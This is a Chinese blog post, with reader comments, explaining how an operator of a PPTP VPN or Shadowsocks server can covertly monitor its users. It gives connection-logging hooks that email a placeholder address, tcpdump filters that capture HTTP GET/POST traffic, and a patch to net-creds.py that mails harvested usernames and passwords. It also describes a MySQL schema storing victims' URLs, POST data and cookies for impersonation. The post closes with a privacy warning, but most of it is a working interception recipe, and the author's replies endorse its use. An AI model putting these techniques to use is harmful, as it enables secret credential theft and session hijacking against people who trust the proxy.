连了我的VPN,你的一举一动都在我的监控之中

Mr.Wu 8,868 6

本文旨在提醒经常使用 VPN/Shadowsocks 服务的童鞋注意自己的账号隐私安全,标题的 VPN 用 Shadowsocks 更为妥当,本文的主角是 Shadowsocks,关于 VPN 服务的不安全性,也会提到。

先来看一张效果图:

这张图片的场景是这样的,小明想 FAN'QIANG ,看一看外面的世界,问我要了一个 Shadowsocks 的账号,连上之后,一阵狂览,殊不知,VPS 上正在记录着他访问的每一个网页,包括输入的账号密码,不止如此,他输入的账号密码也会实时邮件给我,如下:

有了小明的账号密码,可以登录对应的网站,没有也不打紧,这不还有 Cookie,只要是他登录过的网站,记录了 Cookie,一样可以以他的身份登录,这样小明对我就是透明的了。
上面都是 YY 的,只是我在接触到这个东西的时候,想着自己的信息是否也会被别人这样记录,就研究了一下,仅供娱乐,哈哈。
开始步入正题了,最早的研究对象是 VPN,在 VPS 上搭建了 PPTP VPN,最开始实现的是,小明连接或断开 VPN 之后我都可以实时知道,然后就开始了。

关于 PPTP VPN 记录用户连接断开信息:
/etc/ppp/chap-secrets文件可以编辑VPN用户信息。
VPN连接信息记录(/etc/ppp/ip-up文件):

#!/bin/sh
LOG_DIR="/home/pptpd"
curDay=`date +"%Y%m%d"`
logFile="${LOG_DIR}/pptpd${curDay}.log"
echo "##################################" >> $logFile
echo "Now User $PEERNAME is connected!!!" >> $logFile
echo "##################################" >> $logFile
echo "time: `date -d today +%F_%T`" >> $logFile
echo "clientIP: $6" >> $logFile
echo "username: $PEERNAME" >> $logFile
echo "device: $1" >> $logFile
echo "vpnIP: $4" >> $logFile
echo "assignIP: $5" >> $logFile
echo -e "time: `date -d today +%F_%T`\nclientIP: $6\nusername: $PEERNAME\n" | mail -s "$PEERNAME connect vpn" xxx@mail.com

VPN断开信息记录(/etc/ppp/ip-down文件):

#!/bin/sh
LOG_DIR="/home/pptpd"
curDay=`date +"%Y%m%d"`
logFile="${LOG_DIR}/pptpd${curDay}.log"
echo "#####################################" >> $logFile
echo "Now User $PEERNAME is disconnected!!!" >> $logFile
echo "#####################################" >> $logFile
echo "time: `date -d today +%F_%T`" >> $logFile
echo "clientIP: $6" >> $logFile
echo "username: $PEERNAME" >> $logFile
echo "device: $1" >> $logFile
echo "vpnIP: $4" >> $logFile
echo "assignIP: $5" >> $logFile
echo "connect time: $CONNECT_TIME s" >> $logFile
echo "bytes sent: $BYTES_SENT B" >> $logFile
echo "bytes rcvd: $BYTES_RCVD B" >> $logFile
sum_bytes=$(($BYTES_SENT+$BYTES_RCVD))
sum=`echo "scale=2;$sum_bytes/1024/1024"|bc`
echo "bytes sum: $sum MB" >> $logFile
ave=`echo "scale=2;$sum_bytes/1024/$CONNECT_TIME"|bc`
echo "average speed: $ave KB/s" >> $logFile
echo -e "time: `date -d today +%F_%T`\nclientIP: $6\nusername: $PEERNAME\n" | mail -s "$PEERNAME disconnected vpn" xxx@mail.com

以上就可以实现小明连了我的 VPN 或者断开之后,邮件通知到我。
继续,只是知道小明连接或者断开了我的 VPN,好像还是不太好玩,我想知道小明此刻或之前浏览了什么网页,怎么实现,这个时候接触到了 TCPDUMP,一条命令搞定 HTTP 请求:

http请求:
sudo tcpdump -s 0 -A tcp[20:2]=0x4745 or tcp[20:2]=0x504f

记录GET和POST请求:
tcpdump -s 0 -A '(tcp[(tcp[12]>>2):4] = 0x47455420) or (tcp[(tcp[12]>>2):4] = 0x504f5354)'

嗯,对 PPTP VPN 的研究到此为止,主要原因是之前用的VPS非常不给力,自己用都是问题,iPhone 新系统去掉了 PPTP VPN 连接选项,所以后来也就放弃了。

正儿八经接触到 Shadowsocks 是近段时间的事,换了一给力点的 VPS,目前看也不给力,自用还凑合,装了 Shadowsocks 服务,还是想以之前的方式看小明连上后做了什么事。用 TCPDUMP 写了一个 Shell 脚本,实现了日志记录功能,但是解析HTTP请求信息这块用Shell不擅长,继而接触到了 Net-Creds.py 这个工具,GitHub 上有,发现解析日志输出的数据太少了,没有 Cookie 、UA 等信息,倒是可以捕获到账号密码信息,这个地方还可以,可以改源码实现邮件通知:

net-creds.py 596行:

os.system("echo '" + user_msg + " "+ pass_msg + "' |mail -s 'Hey, somebody coming' xxx@mail.com")

Net-Creds.py 密码匹配的代码(很好,可以借鉴):

def get_login_pass(body):
    '''
    Regex out logins and passwords from a string
    '''
    user = None
    passwd = None
    # Taken mainly from Pcredz by Laurent Gaffie
    userfields = ['log','login', 'wpname', 'ahd_username', 'unickname', 'nickname', 'user', 'user_name',
                  'alias', 'pseudo', 'email', 'username', '_username', 'userid', 'form_loginname', 'loginname',
                  'login_id', 'loginid', 'session_key', 'sessionkey', 'pop_login', 'uid', 'id', 'user_id', 'screename',
                  'uname', 'ulogin', 'acctname', 'account', 'member', 'mailaddress', 'membername', 'login_username',
                  'login_email', 'loginusername', 'loginemail', 'uin', 'sign-in', 'usuario']
    passfields = ['ahd_password', 'pass', 'password', '_password', 'passwd', 'session_password', 'sessionpassword', 
                  'login_password', 'loginpassword', 'form_pw', 'pw', 'userpassword', 'pwd', 'upassword', 'login_password'
                  'passwort', 'passwrd', 'wppassword', 'upasswd','senha','contrasena']
    for login in userfields:
        login_re = re.search('(%s=[^&]+)' % login, body, re.IGNORECASE)
        if login_re:
            user = login_re.group()
    for passfield in passfields:
        pass_re = re.search('(%s=[^&]+)' % passfield, body, re.IGNORECASE)
        if pass_re:
            passwd = pass_re.group()
    if user and passwd:
        return (user, passwd)

没想着继续分析 Net-Creds.py 的代码,安装 Shadowsocks 的时候忽略了是使用pip安装的,这个时候突然想起来了,应该去看看 Shadowsocks 的源码,从源码入手看能不能更好的实现。

Shadowsocks 源码文件 tcprelay.py 实现了对HTTP数据的解析,在 _handle_stage_addr(self, data) 方法里,对data数据解析,即可实现上面上面提到的,想知道小明此刻或之前浏览了什么网页,分享下大概的思路。

新写了两个Python模块文件,一个是 mysql.py ,一个是 sniffer.py , mysql.py 文件是自己封装的 MySQL 数据库操作类,sniffer.py 主要实现数据解析入库功能。
贴一下建表语句:

CREATE TABLE `http` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `host` varchar(50) DEFAULT NULL COMMENT 'host',
  `ip` varchar(20) DEFAULT NULL COMMENT 'ip',
  `ip_addr` varchar(255) DEFAULT NULL COMMENT 'ip',
  `remote_port` varchar(20) DEFAULT NULL COMMENT 'port',
  `url` text COMMENT 'url',
  `referer` text COMMENT 'referer',
  `request_type` tinyint(1) DEFAULT '0' COMMENT ' 1 GET 2 POST',
  `is_image` tinyint(1) DEFAULT '0' COMMENT 'url 0  1 ',
  `post_data` text COMMENT 'post',
  `cookie` text COMMENT 'cookie',
  `headers` text COMMENT 'header',
  `user_agent` tinytext COMMENT 'ua',
  `create_time` timestamp NULL DEFAULT NULL,
  PRIMARY KEY (`id`),
  KEY `host` (`host`)
) ENGINE=InnoDB AUTO_INCREMENT=1 DEFAULT CHARSET=utf8 COMMENT='http';

数据表备注:
ip_addr 是IP地址字段,调用淘宝接口,解析IP信息,入库时会先查一下库中是否有相同IP的地址信息,有的话用当前库中的地址信息,没有的话再调用淘宝接口。
is_image 字段,当前URL是否是图片链接,图片链接比较多,不考虑入库,根据需要修改代码记录,过滤静态资源不入库,可配:

filter_fields = ['.png', '.ico', '.jpeg', '.jpg', '.gif', '.svg', '.js', '.css', '.woff', '.ttf']
          for filter_field in filter_fields:
                      if filter_field in http_url:
                            return

headers 字段,请求头全部信息,不需要记录,按需。

Web 页面展示,借用了一只猿的GSM Sniffer Web页面,改巴改巴,谢过谢过。

来个结尾,呼应开头,哈哈。记录小明得信息不是好事,这样会没朋友的,所以只是当做技术研究还可以。然后还是主要想提醒各位童鞋在 FAN'QIANG 的时候,注意自己的隐私安全,不要输入账号密码信息,登录过账号信息的网站尽量也不要访问,网络安全需要你我他的积极参与,哈哈!
技术含量不高,很多大佬应该都有实现,只是没拿出来分享,欢迎各位大佬分享交流。

本文转自T00LS [ scuke ]

广告

打赏
发表评论 取消回复
表情 图片 链接 代码

  1. mr.wang
    mr.wang Lv 1

    怎么能联系上你呢,请教一点问题,谢谢

  2. tsec
    tsec Lv 1

    意义不大其实 你可以试一下 能被你抓到密码的 社工库里肯定也能找到漏的

    • Mr.Wu
      Mr.Wu 站长

      @tsec你这说法我不认同,
      社工库的原理在于,某某在某站留下个人信息,然后某站数据泄露被收集到社工库,因此才能查到他的信息。
      而VPN却不同,社工库搜不到的,VPN只要利用好,就有戏。

  3. 陌小雨
    陌小雨 Lv 1

    吓死人

    • Mr.Wu
      Mr.Wu 站长

      @陌小雨-。- 话说你到底看懂了没? 另外看看文章页和首页,我改的如何?

分享
微信
微博
QQ